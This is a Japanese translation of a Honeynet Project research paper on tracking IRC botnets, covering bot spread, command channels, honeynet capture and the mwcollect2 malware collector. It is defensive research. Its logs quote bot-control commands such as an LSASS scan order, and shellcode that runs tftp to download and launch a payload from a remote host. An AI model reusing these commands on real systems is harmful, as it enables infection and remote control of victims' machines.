The Honeynet Project & Research Alliance
Last Modified: 13 March 2005
translated by HIDESHIMA Yusuke(hidesuke [at] vogue.is.uec.ac.jp)
Honeypotは攻撃者がどのようなツールを使っているのか、どのように攻撃を行うのか、なぜ攻撃を行うのかといったことを調査するツールとしてよく知られている技術である。この文書ではbotnetの脅威について述べる。botnetとは脆弱性のあるマシーンからなるネットワークで、攻撃者が遠隔から操作することができるものである。巨大なネットワーク(幾万ものシステムがリンクされている)であるため、コミュニティに深刻な問題を引き起こすことがある。honeynetsを利用することによって、botnetが動いているマシーンを観測することができる。他の技術ではbotnetを見つけることは難しい。記録されたログによって攻撃者の行動や、使用したツールを再現することができ、詳細に研究することができる。この文書でbotnetの攻撃技術やどのように個人が巻き込まれるかといったことについて詳細に述べる。
まず、botnetがどのように動くかといったことを例を交えて説明する。次に3つの一般的なbotについて簡潔に述べる。次に botnetを監視し、攻撃者が打ったコマンドを観測する技術について述べる。また、観測された攻撃者の行動について述べる。また、最近数ヶ月の間に観測した100以上のbotnetについての統計的な情報について述べる。botnet-trackingの章でbotnetの観測から学んだことやさらなる研究トピックについてまとめる。またmwcollect2
というmalwareを自動で収集するツールについて述べる。
近年、家庭用PCは攻撃者の格好の獲物となっている。これらの多くはMicrosoft Windowsが動いており、適切にパッチが当てられてなかったり、ファイラウォールによって守られてなかったりするため攻撃者に対してとても脆弱である。それに加えて、被害者が利用しているプログラムに対する直接攻撃や、間接攻撃は着実に増加している。間接攻撃の例としてはMicrosoftのInternet Explorerの脆弱性を利用した悪意あるHTMLや、Peer-to-Peerネットワークを利用したmalwareなどが挙げられる。特にブロードバンドネットワークに常時接続されているマシーンは攻撃者の餌食となりやすい。ブロードバンドの普及により攻撃の被害者となる可能性が増大している。この状況はクラッカーにとっては都合がいい。攻撃者は自動化技術を用いて特定のネットワークのスキャンを行い、脆弱性のあるコンピュータを探す。攻撃者はクラスBのネットワークか、それよりも小さなネットワークを攻撃の対象とすることが多い。攻撃者が脆弱性のあるマシーンに侵入するとIRCbot - zombieとかdroneとも呼ばれる - をそのマシーンにインストールする。Internet Relay Chat (IRC)はインターネットを通じてリアルタイムでコミュニケーションをとることができるツールである。IRCはチャンネルと呼ばれるグループ(1対多)での論議を想定して作られているが、1対1でのコミュニケーションも可能である。IRCに関するさらなる情報はWikipediaを参考にしてほしい。
私たちは多くの違ったバージョンのIRCベースのbot(以下単にbotと表記する)を発見した。それぞれ様々なコマンドが実装されているが、どれも共通点がある。botは特定のIRCサーバーのIRCチャンネルに参加し、さらなるコマンドを待つ。これによってアタッカーが遠隔からbotをコントロールすることができる。攻撃者はさらに様々な違ったbotを一緒に使用する。このように、一つのIRCチャンネルから多くの脆弱性を持つマシーン運用する構造はbotnetと呼ばれる。 IRCを用いたやり方ではbotと攻撃者のやりとりが膨れあがるため、この方法がもっとも優れているとは言えない。もっと簡単な方法が望ましい。しかしIRCは多くの利点を持っている。たとえばIRCサーバは無料で利用できセットアップが簡単である。そして多くの攻撃者はIRCを使った経験が長いといった利点が挙げられる。
この巨大なサイズ(botnetは1万、数千もの脆弱なマシーンからなる)によって、botnetは深刻な脅威となる。DDos攻撃は脅威の一つである。比較的小さなbotnetでも1000個のbotがあれば甚大な被害を与えることができる。1000個のbotが連結すれば(1000個の家庭用PCの平均アップ速度が128KBit/sとすると100MBit/s以上の帯域を占めることができる)おそらくほとんどの会社のシステムのインターネット接続の帯域よりも高い数値となる。更に、botが行うIPの配布のために、フィルタリングやメンテナンスが難しくなっている。更にbotは様々な団体にまたがっているので、インシデントの報告が難しいという問題がある。botnetは重要情報の盗難やIDの盗難にも使用される。何千もの家庭用PCからpassword.txtというファイルを探したり、トラフィックを盗聴したりすることもできる。
botをばらまく主な方法はインターネットの"background noise"、とくにTCPの445番ポートと135番ポートを用いた方法である。この場合の拡散(spreading)という単語はbotを使用した増殖方法を表す。これらのマルウェアはウィルスやワームと同じように巨大なネットワークをスキャンし脆弱なコンピュータを見つけて感染する。German HoneynetProject のトラフィックの解析によると、多くのトラフィックはMicrosoft Windowsが使用しているポートをターゲットとしていることがわかった。
これら4つのポートを使用するトラフィックが観測されたトラフィック全体の80%以上を占めていた。 NmapやXprobe2 、p0fなどのツールを用いた解析の結果、Windows XPや2000が動いているマシーンが最も影響を受けているということがわかった。上に挙げた4つのポートを用いているのは、明らかに、Windows XP(だいたいのマシーンがサービスパック1が動いている)が最も多く、次にWindows 2000 である。それから大きく離れてWindows 2003、Windows 95/98と続いている。
しかし、どれが本当に悪意のあるパケットなのだろうか?誰が、そしてどれが信頼できるものなのだろうか?何か防ぐ手段はあるのだろうか?この文書ではこのトラフィックの背景について、さらに踏み込んだ話題について言及する。攻撃者がどのようにIRC botをコントロールし、脆弱なマシーンによるネットワーク(botnet)を構築するのか、さらにそれらが効果的に動作するためにはどのようにするのかといったことについて説明する。私たちは鍵となる情報を学ぶ目的でGenII-Honeynetsに少しだけ改良(例えば、botnetサーバやIRCチャンネルの名前とパスワード)を加えて運用した。これらの情報によって、私たちがbotnetに接続し攻撃者が打つコマンドを監視することを可能にする。同時に攻撃者のコミュニケーションを監視することができ、彼らの動機や社会的な行動について学ぶことができる。更に、数ヶ月に渡る百以上のbotnetの監視から学んだ統計的な情報について説明する。私たちが観測した攻撃者の具体的な行動例をいくつか説明する。
この研究で使用したHoneynetは3つだけである。一つはドイツのISPであるT-Onlineのダイアルインネットワーク、もう一つはドイツのISPであるNetCologneのダイアルインネットワーク、そしてもう一つのマシーンは RWTH Aachen Universityに設置した。大学に設置したホストはパッチを当てていないWIndows 2000でHoneyWallの後ろに設置した。ダイアルインのホストは最近開発された mwcollectd2
というマルウェアをキャプチャするためのソフトウェアを動かした。私たちはbotnetの監視にはdrone
というIRCクライアントを使用した。両方とも後に詳しく説明する。
ほとんどすべてのbotは速く拡散するために小さなエクスプロイットの集合となっている。botはコンスタントにより多くのマシーンを脆弱にしようと試みるため、ネットワーク上で特徴的なトラフィックを作る。通常botはよく知られた脆弱性を突こうとする。botnetは特定の脆弱なポートを使用するのでリソース共有をする上記のポートを使用していた。これらのポートの例は以下の通りである。
これらの脆弱性についてはMicrosoftのSecurity bulletinからしることができる。サンプル:
"botnetはWindowsという箱が強制参加させられる軍事行動のようなものだ" - Stromberg
botnetはただのツールにすぎなくて、botnetを使う人の数だけ様々な動機がある。もっとも多い使われ方は犯罪を目的とした動機からの使用(例:金銭目的)か、もしくは破壊活動かである。私たちが収集したデータによると、botnetは以下の例のような使われかたをするようである。さらに、botnetはツールにすぎないので、下に挙げた以外の使い方もあり得る。
これらは攻撃者がbotnetを使って甚大な被害をもたらす破壊活動を起こすことができる例である。これらの攻撃の多く - 特にDDoS攻撃 - は他のシステムに対して深刻な脅威であり防止することが難しい。更に、私たちが見つけていない他の使い方がまだまだあるはずである。結論として、私たちはこの脅威について更に知る必要がある。これらの脅威に立ち向かう為に、攻撃者が普段はどのような行動をし、どのように技術開発を行っているのかということを知る必要がある。Honeynetは次の3つの領域すべてで私たちの助けとなる。
次のセクションでいくつかの有名なbotnetの紹介と解析を行ったあと、botnetを追跡する技術について説明する。
私たちが研究を行っている間様々なタイプのbotを発見した。この章では広く広まっていてよく知られているbotについて説明する。マルウェアのそれぞれの基本的なコンセプトについて説明し、特徴について更に詳しく説明を行う。加えてbotのソースコードの例をいくつか示し、それらのコマンドセットのリストの一部についても示す。
CCommandHandler
もしくは CScanner
クラスを付け加え、好きな改造を施す。Agobotは libpcap(パケット盗聴のライブラリ)とPerl Compatible Regular Expressions (PCRE)を用いてトラフィックのソートと盗聴を行っている。AgobotはNTFS Alternate Data Stream(ADS)を使うことができ、さらに自分が存在しないかのようにファイルやプロセスを隠すといったルートキットのような機能も備えている。 更に、デバッガ(例:SoftICE、 OllyDbg)とヴァーチャルマシーン(例:VMWare、Virtual PC)を検知する機能がついているため、このマルウェアのリヴァースエンジニアリングを行うことが難しくなってる。加えて、AgobotはIRC以外のプロトコルを利用することができる唯一のbotである。WASTE chat networkを利用することができる。さらに、Linux版は脆弱性のあるディストリビューションが動いているホストを検知する。これらの3種類のbotはほぼ毎日発見された。ほかのbotは滅多に見ることがなかった。これらの少数派のbotはちょっと”イカス”機能があったのでここで触れておくことにする:
前章で様々なタイプのbotの紹介を行ったので、本章ではbotは普段何をするのか、どのように動くのかといった詳しい内容について説明する。本章ではどのようにbotが拡散するか、またどのようにbotをコントロールするかについて詳細に述べる。
侵入に成功したら、botはTrivial File Transfer Protocol (TFTP), File Transfer Protocol (FTP),HyperText Transfer Protocol (HTTP), もしくはCSend (IRCの追加機能で他のユーザにファイルを転送する機能。DCCのようなもの)をつかって自分自身を脆弱なホストへ転送する。バイナリが実行されるとハードコードされたマスターIRCサーバーへのアクセスを試みる。大体の場合(例えばwww.dyndns.org)動的なDNSネームが提供されるのでbotは簡単に移動することができる。多くの場合このようなことはあり得ないが、もしマスターサーバがローカルホスト、もしくはプライベートサブネットにある場合、botは自らを消去することがある。USA|743634 や[UrX]-98439854といったニックネームを使ってbotはマスターのチャンネルに参加する。中には見知らぬ人を締め出すためにパスワードを用いたりする。感染に成功した場合次のようなメッセージがよく現れる:
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname... <- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname -> PASS secretserverpass -> NICK [urX]-700159 -> USER mltfvt 0 0 :mltfvt <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping timeouts, please type /quote pong ED322722 or /raw pong ED322722 now. <- PING :ED322722 -> PONG :ED322722 <- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!mltfvt@nicetry <- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2-beta19 <- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004 <- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN
その後、サーバーはbotをクライアントとして受け入れ、RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD or ERR_NOMOTD というようなメッセージを送る。RPL_で始まるメッセージはクライアントへの情報である。たとえばRPL_ISUPPORTはサーバーがクライアントを認識したという情報、RPL_MOTDはその日のメッセージ(MOTD)を示している。これとは対照的に、ERR_NOMOTDはエラーメッセージで、MOTDが無い場合のメッセージである。以下の図ではこれらの応答が色でハイライトされている:
<- :irc1.XXXXXX.XXX 005 [urX]-700159 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server <- :irc1.XXXXXX.XXX 005 [urX]-700159 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :are supported by this server <- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day - <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45 <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . + <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ___ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . _.--"~~ __"-. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ,-" .-~ ~"-蛔dエ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . .^ / ( ) . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + {_.---._ / ~ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / . Y . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / 蛔dエ_j + <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . Y ( --l__ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | "-. . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | (___ . | .)~-.__/ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - l _) <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . 蛔dエ "l <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + 蛔dエ - 蛔dエ ^. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . ^. "-. -Row . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - "-._ ~-.___, <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . "--.._____.^ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ->Moon<- <- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command. <- :[urX]-700159 MODE [urX]-700159 :+i
On RPL_ENDOFMOTD もしくは ERR_NOMOTDはbotが与えられたパスワードでマスターのチャンネルに参加しようとしていることを表す:
-> JOIN #foobar channelpassword -> MODE [urX]-700159 +x
botはtopic of the channelを受け取りコマンドを解釈する:
<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s <- :[urX]-700159!mltfvt@nicetry JOIN :#foobar <- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword
多くのbotnetは以下のようなtopicコマンドを使う。
最初のトピックはbotがLSASS 脆弱性を使ってさらに拡散しようとしていることを示している。 200のマルチスレッドを5秒間隔で無制限時間(パラメータ0)スキャンを行う。スキャンはランダムで(パラメータ -r)サイレント(パラメータ -s)で行われるのでステータスレポートであまりにも多いトラフィックは表示しないようにしてある。二つめの例はこれとは対照的で、webからバイナリをダウンロードして実行するようにbotに命令している(パラメータ 1)。もしもトピックにbotに対する命令が含まれてなかったらbotはコマンドがくるまで待つ。これは多くのbotの基本的な動きである。botはマスターからの命令が無い限り自分たちで拡散しようとはしない。
侵入に成功したらbotはオーナーに何をすべきかメッセージを送る。
-> PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX -> PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:蛔dエWINDOWS蛔dエSystem32蛔dエNAV.exe).
するとIRCサーバーは(IRCデーモン(IRCd)とも呼ばれる)はチャンネルのユーザリストを提供する。しかし多くのbotnetのオーナーはIRCdを修正しただ単にチャンネルのオペレーターにメッセージを送りチャンネルの中にいるbotの数を偽装する。
<- :irc1.XXXXXX.XXX 353 [urX]-700159 @ #foobar :@JAH <- :irc1.XXXXXX.XXX 366 [urX]-700159 #foobar :End of /NAMES list. <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :BOTMOTD File not found <- :[urX]-700159 MODE [urX]-700159 :+x
botnetの制御者はbotを使用するために認証を行わなくてはいけない。この認証はcommand prefix と"auth" commandを使用することによっておこなう。command prefixを使ってマスターがbotにログインしたあと、マスターは認証をしなければいけない。例えば:
.login leet0 .la plmp -s
これらはそれぞれ違うbotで、botを使うために打たれたコマンドである。ここで"-s"は前の例で出てきた奴で、マスターが認証を行っている間botは沈黙をしているという意味を表している。その他に次のような返答を返す:
[MAIN]: Password accepted. [r[X]-Sh0[x]]: .:( Password Accettata ):. .
もしも1万台ものbotを持つネットワークをもっていたら、このトラフィックはすごく大きくなる。一度攻撃者が認証されたらbotを使って好きなことができる。脆弱なマシーンから重要な情報を探したり、これらの重要な情報をDCCをもちいて他のマシーンに転送したりすることもできるし、DDoS攻撃をおこなったり、キーログを取りPayPalや eBayのアカウント情報を取得することもできる。これらは考えられる攻撃のほんの一部であり、他の選択肢は前章ですでに述べた。すべてのbotが接続されるIRCサーバはほとんどの場合脆弱性の固まりとなる。これは恐らく攻撃者は通常のチャットネットワークのようにオペレーターの権利を受け取りたくないのであろう。だから、より柔軟に動くことができる自分自身でセットアップしたIRCサーバーを使用するのだろう。さらに、私たちは興味深い発見をした。それはbotnet初心者だけが普通のIRCdを使うということだ。たしかにrbot-<6-digits> のように名付けられた1200ものクライアントがスキャンの結果をチャンネルで報告してくるのが鬱陶しいのは極めて明らかである。二種類のIRCサーバが一般的にbotnetを運用するのに使用されている。それはUnreal IRCdとConferenceRoomである。
botnetを使う人は大体同じ目的(DDoS攻撃や他の犯罪)なのでそれぞれのbotにはだいたい同じようなコマンドセットが実装されている。ここでAgobotはとても使いやすい。なぜかと言うと、ただソースコードをRegisterCommand
でgrepするだけですべてのコマンドリストとその特徴がわかる。綺麗にデザインされてないのでSDBotのグループの解析は少々難しい。コマンドセットは様々な人によって変えられているのでどんなコマンドが実装されているのか解析することは不可能に近い。
もしも他のbotのコマンドについてもっとよく知りたいのであれば、より詳しいコマンドの解析がbotnet commandsにある。さらにbotnetのソースコードについて知りたいのであればbotnet sourceに載せてあるので参考にしてほしい。
この章ではハニーポットをつかってどのようにしてbotnetを検知し観測したのかについて紹介する。botnetを追跡するにはいくつかの段階を踏む必要がある。まず現存するbotnetに関するデータを集める。これは、たとえば採取したマルウェアの解析などから得ることができる。その後ネットワークでクライアントを引っかけてさらなる情報を取得する。この章の最初の部分で、私たちがハニーポットを使って重要な情報を得た技術について紹介する。そして、botnet観測方法について述べる。
私たちがbotnetの観測をしていることを公に宣言する以前、私たちはbotnetに私たちの偽のbotを配置するのに必要な情報が必要であった。これらの情報は以下の通りである:
GenII HoneynetによるWIndowsのハニーポットとsnort_inlineを使うことによってこれらの情報を収集することができた。一般的なGenII ハニーネットに少しだけ改良を加えて以下のようなシステムを構築した:
WindowsハニーポットはパッチをあてていないWIndows2000かWIndowsXPを使用する。このシステムは攻撃に対して非常に脆弱でありほんの数分で攻撃されてしまう。ドイツのISPのダイアルインネットワークにこのシステムを配置した。平均的にハニーポットの生存時間は10分以内だと思われる。たったこれだけの時間でハニーポットは無事自動のマルウェアの感染に成功する。たった数秒で感染することもある。プラグをネットワークケーブルにつないだとたんにSDBotがTCP 135番ポートの脆弱性を突いてマシーンに侵入し自分自身をマシーンにインストールした。
前章で説明したように、ハニーポットの攻撃に成功したらIRCサーバに接続しさらなるコマンドを得ようとする。ここでハニーウォールの出番となる。ハニーウォールにはデータコントロールの機能が備えてあるので外向きのトラフィックをコントロールすることができる。私たちはデータコントロールにsnort_inlineを使用し、外向きの怪しい接続をすべて切った。疑わしい接続はIRCのメッセージに特有の"332"や"TOPIC"、"PRIVMSG"、"NOTICE"といった語句を含んでいる。これで、私たちはマスターチャンネルからのコマンドを抑制することができる。これによって他人に全く迷惑をかけることはない。これで私たちのハニーネットにbotを取り込めた。 さらに、この時点でbotnetに必要な情報のすべてを得ることができた。ハニーウォールのデータキャプチャ機能によってbotが接続したいDNS/IPアドレスがわかったしポート番号もわかった。さらに、データキャプチャのログによってニックネームと識別情報がわかった。さらにサーバーのパスワード、チャンネル名、ついでにチャンネルパスワードもこの方法で取得することができた。つまり、私たちは重要な情報のすべてを得られた上にハニーポットがマルウェアまで取得してくれたのである。マルウェアの取得に私たちはあまり関心がないので、私たちは24時間毎にハニーポットを再構築し毎日"綺麗な"システムにしている。The German Honeynet Projectではマルウェアの採取およびペイロードの解析も行っている。しかし、これについては後で説明する。
さて、次のステップである。私たちはbotnetに再接続したい。重要な情報はすべて持っている。最初のアプローチは、irssi(コンソールベースのIRCクライアント)をセットアップしてみる、もしくはほかのIRCクライアントをセットアップしてみてネットワークにつないでみることである。もしもbotnetが比較的小さい規模(50クライアント以下)のであれば、有効なコマンドに対して返事をしないので、あなたのクライアントがオペレーターにばれてしまう可能性がある。この場合、botnetのオペレータは疑わしいクライアントを禁止するかDDoS攻撃を行う。見つからないようにするには、隠れてしまえばいい。鍵となるコマンドに対する自動応答をすべてオフにしていしまうことでなんとかなる。もしbotnetのオペレーターがあなたに気づかなかったらコマンドのログをすべてとれるので何が起こっているのか観測することができる。
しかし、この方法だと多くの問題がある。いくつかのbotnetはIRCdから極度に不要な部分を削除してしまっていて、RFCに準拠していないIRCdを使っている場合があり、普通のIRCクライアントだと接続できない場合がある。この場合私たちがとるべき行動は、オペレーターがどこを削除しているか探しだし、クライアントのソースコードを改造していくしかない。現在のほとんどすべてのIRCクライアントは綺麗にコードが書かれてなかったり、どこかに欠点があったりする。だから恐らくbotnetを追跡するためには、結局自分でIRCのクライアントを書くことになる。私たちが作ったクライアントはDroneという名前で呼ばれている。自前のIRCクライアントを書く場合、いくつか注意しなくてはいけない罠がある。私たちがbotnetを追跡するIRCクライアント作りで便利だと思った機能のいくつかを以下に紹介する。
DroneはSOCKS v4プロキシを使うことができるので、botnet中で攻撃者に自分の存在を気づかれても問題は起きない。SOCKS v4プロキシは違ったネットワークのダイアルインアカウントを使っているので簡単にIPアドレスをかえることができる。Drone自身は私たちが管理している独立したマシーンで動いている。私たちはシェルやプロキシを提供してプロジェクトに貢献してくれたすべての人に感謝する。とあるアンチウィルスの会社がbotnetに関するデータを発表した。便利ではあるが、この情報ではbotnetを追跡するのに不十分であった。データの内容はBotnet Vendorsに示す。
時々botnetのオーナーはbotに命令を与えるためにコマンドを打つ。前章でよく使われるコマンドについて説明した。私たちの方法を使えば打たれたコマンドを監視することができ、さらに攻撃者の動機についてより詳しく知ることができる。さらに私たちの方法を発展させPCREベースでbotをエミュレートするようにしてみた。つまり、私たちのクライアントは攻撃者からのコマンドに対して正しく返答をするようになった。しかし、私たちはゴールをすこし小さくした。なぜかと言うと攻撃者は非常に頻繁にコマンドを変えるためbotnetでの標準的なコマンドというものは存在しないからである。多くの場合、コマンドに対する返答は攻撃者の母国語に翻訳されている、というのも理由の一つである。
二つ以上のネットワークを監視する場合、そのうちのどれがリンクしているかを調べて、可能ならそれらをグループわけするべきだ。リンクのチェックは簡単ですべてのネットワークの特定のチャンネルに参加して一つ以上のクライアントがそこにいるかどうかを調べればよい。これほど多くのネットワークがリンクしているのかと驚く。彼らが調べたすべてのバージョンのbotにDNS名かチャンネル名をつける傾向がある。攻撃者についてもっと知りたければ、攻撃者のニックネームをGoogle searchに入れてみるといい。すると多くの情報が得られることに驚く。最後に、サーバーのRegional Internet Registries (RIR) エントリ(RIPE NCC、ARIN、APNIC、LACNIC)を調べてみるといい。すると攻撃者について更に知ることができる。
本章ではbotnetの観測を通して得た発見について述べる。データは不適切な部分を削除しているので特定のシステムに対する特定の攻撃に関する結論となることはないし、関係者のプライバシーは守られている。また、この文書で集められてデータはドイツの German Honeynet Projectで集められたもので特定の攻撃に関する情報や侵入されたシステムに関する情報はドイツ、ハンブルグのDFN-CERT(Computer Emergency Response Team) にある。最近数ヶ月で観測したbotnetの統計的情報についてのべる。
誰か他の人のbotnetを他の人が盗むという普通でない状況もおきる。何人かの攻撃者が競い合っているのは観測していて面白い。これに気づく以前、botはいくつかの情報(例えばチャンネル名やサーバのパスワード)に対してセキュアであった。もしもある人がこれらの情報を全部もっていると、他のbotnetでbotをアップデートしてbotのバイナリを取り替えて、他人のbotnetを自分のものにしてしまうことができる。例えば、少し前私たちはbotnet#12の制御者が別のbotnet#25を奪ったのを観測した。
最近、私たちが監視しているbotnetの一つでとても珍しいアップデートを行うものがあった。すべては順調にいっており、botnetのマスターは認証に成功し、コマンドを打って新しいファイルをダウンロードし実行した。私たちのクライアントであるdroneもファイルをダウンロードし解析した。私たちは特別に用意したニックネーム、識別子、ユーザ情報をセットアップした。しかし、私たちのクライアントはIRCサーバのチャンネルにアクセスすることができなかった。最初のニックネームがIRCdソフトウェアからはじかれるようになっていた。これによって攻撃者は3000ものbotを一気に失った。
非常に興味深い、しかしよく見るのは、botnetのオーナーがその運用方法について自分のチャンネルで議論していることである。これによって、私たちは多くのことを学び、彼らの普段の生活の一部について少しずつわかってきた。私たちはbotnetを自分のサーバで運用しシェルのホスティングを行って、さらにDDoSを行っている攻撃者を観測した。これらの人々は同じbotnetのニックネームをつかって他のIRCネットワークでもbotnetを使えるようにしている。さらに、このようなbotnetを運用している人々は、彼らは無料で匿名のウェブスペースを使用しないでbotnetのアップデートを行うため、こうした場で様々な情報交換を行っている。これらの人々は技術が未熟な人でもbotnetを運用できるような詳しいデモンストレーションを行っている。
私たちの観測でわかったのは、botnetを運用しているのは若い男性が多く、彼らは驚くほど限定されたプログラミングのスキルしかもっていなかった。フォーラムでは「どうやってコンパイルするの?」といったようなメッセージでいっぱいだった。こういった人々はbotを非常に多く拡散するが彼らの行動ではあまり被害はない。それだけでなく、私たちはもっと上級の攻撃者も観測した。これらの人々はコントロールチャンネルにほとんどアクセスしない。かれらは1つだけキャラクターのニックネームを持ち、コマンドを発行し、その後離れる。かれらのbotのアップデートは非常に専門的である。おそらくこれらの人々はbotnetを商売として使って、サービスを"販売"しているのであろう。このようにbotnetを金儲けに使う例は少ない。botnetを運用している人のうち非常に高い技術を持っている人は少ない。彼らはIRCdソフトウェアをRFCに準拠しないようにそぎ落とし、普通のIRCクライアントでは接続できないようにしている。
他の可能性は情報を盗む為に特別なソフトウェアをインストールすることである。私たちが観測した興味深いものは、攻撃者がDiablo 2のアイテムを脆弱なマシーンから盗みeBayで売っていたというものである。Diablo 2はオンラインゲームで強いアイテムを集めることによってキャラクターを強くしていくゲームである。レアなアイテムほど eBayで高い値段が付く。eBay で Diablo 2で検索した結果これらのアイテムは攻撃者になかなかいい利益を与えていることがわかる。いくつかのbotnetはスパムの送信をおこなっていし、しかもこのbotnetを借りることもできる。オペレーターはSOCKS v4のサーバリストを提供していて、ホストのIPアドレスとポート番号が書いてある。スパマーがbotnetをスパム送信サーバとして購入したという記録がある。 "Uncovered: Trojans as Spam Robots "。攻撃者がソフトウェアをインストールした例をcaptured exampleにのせてある。
私たちがいま行っているbotnetの追跡はマルウェアの収集である。German Honeynet Projectで行っているプロジェクトmwcollect2はマルウェアを簡単かつ自動化された方法で"集める"プログラムを開発している。mwcollect2は動的に統合的にリンクされたモジュールから構成される:
現在、mwcollect2はいくつかの脆弱性をシミュレートする機能がある。つぎの二つの例はソフトウェアの実行例である。最初の例はmwcollect2がTCP135番ポートの脆弱性のシミュレートでマルウェアのの一部を自動的に取得する。
mwc-tritium: DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long. mwc-tritium: Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long. mwc-tritium: Detected generic CreateProcess Shellcode: "tftp.exe -i XXX.XXX.XXX.XXX get cdaccess6.exe" mwc-tritium: Pushed fetch request for "tftp://XXX.XXX.XXX.XXX/cdaccess6.exe". mwc-tritium: Finished fetching cdaccess6.exe
次の例はソフトウェアがBagle wormのバックドアが仕掛けられているように見せかけるプログラムである。ここでもmwcollect2はマルウェアの取得に成功した。
mwc-tritium: Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745). mwc-tritium: Bagle session with invalid auth string: 43FFFFFF303030010A2891A12BE6602F328F60151A201A00 mwc-tritium: Successful bagle session, fetch "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe". mwc-tritium: Pushed fetch request for "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe". mwc-tritium: Downloading of ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe (ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe) successful.
下のリストはこの効果性について示している。:
7x mwc-datasubm.1108825284.7ad37926 2005-02-19 16:01 CET 71de42be10d1bdff44d872696f900432 1x mwc-datasubm.1108825525.4a12d190 2005-02-19 16:05 CET e8b065b07a53af2c74732a1df1813fd4 1x mwc-datasubm.1108825848.7091609b 2005-02-19 16:10 CET 48b80b4b6ad228a7ec1518566d96e11e 2x mwc-datasubm.1108826117.20bf1135 2005-02-19 16:15 CET c95eb75f93c89695ea160831f70b2a4f 78x mwc-datasubm.1108826639.4a2da0bb 2005-02-19 16:23 CET 42cbaae8306d7bfe9bb809a5123265b9 19x mwc-datasubm.1108826844.36d259cc 2005-02-19 16:27 CET b1db6bbdfda7e4e15a406323bea129ce 3x mwc-datasubm.1108827274.77b0e14b 2005-02-19 16:34 CET fbd133e3d4ed8281e483d8079c583293 3x mwc-datasubm.1108827430.3c0bb9c9 2005-02-19 16:37 CET 7711efd693d4219dd25ec97f0b498c1f 4x mwc-datasubm.1108828105.6db0fb19 2005-02-19 16:48 CET 23fde2e9ebe5cc55ecebdbd4b8415764 29x mwc-datasubm.1108828205.11d60330 2005-02-19 16:50 CET 8982e98f4bde3fb507c17884f60dc086 2x mwc-datasubm.1108828228.500c4315 2005-02-19 16:50 CET d045f06f59ae814514ab329b93987c86 1x mwc-datasubm.1108828305.7c2a39a8 2005-02-19 16:51 CET 556779821a8c053c9cc7d23feb5dd1d4 34x mwc-datasubm.1108828311.655d01da 2005-02-19 16:51 CET de53892362a50b700c4d8eabf7dc5777 1x mwc-datasubm.1108828418.178aede3 2005-02-19 16:53 CET 2a4d822c2a37f1a62e5dd42df19ffc96 1x mwc-datasubm.1108828822.466083aa 2005-02-19 17:00 CET 2c1f92f9faed9a82ad85985c6c809030 1x mwc-datasubm.1108829309.705a683c 2005-02-19 17:08 CET be4236ffe684eb73667c78805be21fe6 11x mwc-datasubm.1108829323.4f579112 2005-02-19 17:08 CET 64cfefc817666dea7bc6f86270812438 1x mwc-datasubm.1108829553.56e1167d 2005-02-19 17:12 CET 5ab66fae6878750b78158acfb225d28f 11x mwc-datasubm.1108830012.4bbdedd9 2005-02-19 17:20 CET 05b691324c6ce7768becbdba9490ee47 1x mwc-datasubm.1108830074.1ca9565f 2005-02-19 17:21 CET e740de886cfa4e1651c3b9be019443f6 98x mwc-datasubm.1108830171.6ea1f079 2005-02-19 17:22 CET 